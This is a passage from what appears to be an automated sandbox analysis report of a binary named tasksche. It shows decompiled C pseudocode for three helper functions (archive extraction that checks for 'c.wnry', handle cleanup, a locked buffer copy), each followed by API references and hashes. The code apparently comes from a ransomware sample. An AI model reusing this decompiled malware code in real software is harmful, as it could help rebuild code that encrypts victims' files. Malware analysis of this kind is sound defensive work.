					 *(_t38 - 0x12c) =  *(_t38 - 0x12c) & 0x00000000;
					_t29 = 0x4a;
					memset(_t38 - 0x128, 0, _t29 << 2);
					E004075C4(_t36, 0xffffffff, _t38 - 0x12c);
					_t27 =  *(_t38 - 0x12c);
					_t43 = _t41 + 0x18;
					_t34 = 0;
					if(_t27 > 0) {
						do {
							E004075C4(_t36, _t34, _t38 - 0x12c);
							_t21 = strcmp(_t38 - 0x128, "c.wnry");
							_t43 = _t43 + 0x14;
							if(_t21 != 0 || GetFileAttributesA(_t38 - 0x128) == 0xffffffff) {
								E0040763D(_t36, _t34, _t38 - 0x128);
								_t43 = _t43 + 0xc;
							}
							_t34 = _t34 + 1;
						} while (_t34 < _t27);
					}
					E00407656(_t36);
					_push(1);
					_pop(0);
				} else {
				}
				return 0;
			}












                    0x00401dfe
                    0x00401e00
                    0x00401e05
                    0x00401e0e
                    0x00401e1a
                    0x00401e21
                    0x00401e2d
                    0x00401e32
                    0x00401e38
                    0x00401e3b
                    0x00401e3f
                    0x00401e41
                    0x00401e4a
                    0x00401e5b
                    0x00401e60
                    0x00401e65
                    0x00401e82
                    0x00401e87
                    0x00401e87
                    0x00401e8a
                    0x00401e8b
                    0x00401e41
                    0x00401e90
                    0x00401e96
                    0x00401e98
                    0x00401e07
                    0x00401e07
                    0x00401e9d

                    APIs
                    • strcmp.MSVCRT(?,c.wnry,?,00000000,?), ref: 00401E5B
                    • GetFileAttributesA.KERNEL32(?), ref: 00401E6E
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: AttributesFilestrcmp
                    • String ID: c.wnry
                    • API String ID: 3324900478-3240288721
                    • Opcode ID: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                    • Instruction ID: 6f95607eaad4b3b0c5796a2914108af7bfa48759f01996e65d2c9759274caab0
                    • Opcode Fuzzy Hash: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                    • Instruction Fuzzy Hash: 3001C872D041142ADB209625DC41FEF336C9B45374F1005B7FA44F11C1E739AA998ADA
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                    Download Yara Rule
                    C-Code - Quality: 84%
                    			E00405C9F(signed int __eax, intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				if(_t9 != 0) {
					if( *((char*)(_t9 + 0x10)) != 0) {
						CloseHandle( *(_t9 + 4));
					}
					_push(_t9);
					L004076E8();
					return 0;
				} else {
					return __eax | 0xffffffff;
				}
			}




                    0x00405ca0
                    0x00405ca6
                    0x00405cb1
                    0x00405cb6
                    0x00405cb6
                    0x00405cbc
                    0x00405cbd
                    0x00405cc6
                    0x00405ca8
                    0x00405cac
                    0x00405cac

                    APIs
                    • CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CB6
                    • ??3@YAXPAX@Z.MSVCRT(00000000,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CBD
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ??3@CloseHandle
                    • String ID: $l@
                    • API String ID: 3816424416-2140230165
                    • Opcode ID: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                    • Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
                    • Opcode Fuzzy Hash: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                    • Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004019E1 Relevance: 5.0, APIs: 4, Instructions: 39COMMON
                    Download Yara Rule
                    C-Code - Quality: 25%
                    			E004019E1(void* __ecx, void* _a4, int _a8, void* _a12, int* _a16) {
				void* _t13;
				void* _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t20;

				_t20 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					L3:
					return 0;
				}
				_t19 = __ecx + 0x10;
				EnterCriticalSection(_t19);
				_t13 =  *0x40f8a4( *((intOrPtr*)(_t20 + 8)), 0, 1, 0, _a4,  &_a8);
				_push(_t19);
				if(_t13 != 0) {
					LeaveCriticalSection();
					memcpy(_a12, _a4, _a8);
					 *_a16 = _a8;
					_t16 = 1;
					return _t16;
				}
				LeaveCriticalSection();
				goto L3;
			}







                    0x004019e5
                    0x004019ec
                    0x00401a19
                    0x00000000
                    0x00401a19
                    0x004019ee
                    0x004019f2
                    0x00401a08
                    0x00401a10
                    0x00401a11
                    0x00401a1d
                    0x00401a2c
                    0x00401a3a
                    0x00401a3e
                    0x00000000
                    0x00401a3e
                    0x00401a13
                    0x00000000

                    APIs
                    • EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
                    • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
                    • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
                    • memcpy.MSVCRT(?,?,?,?,?,00401642,?,?,?,?), ref: 00401A2C
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: CriticalSection$Leave$Entermemcpy
                    • String ID:
                    • API String ID: 3435569088-0
                    • Opcode ID: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                    • Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
                    • Opcode Fuzzy Hash: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                    • Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65
                    Uniqueness

                    Uniqueness Score: -1.00%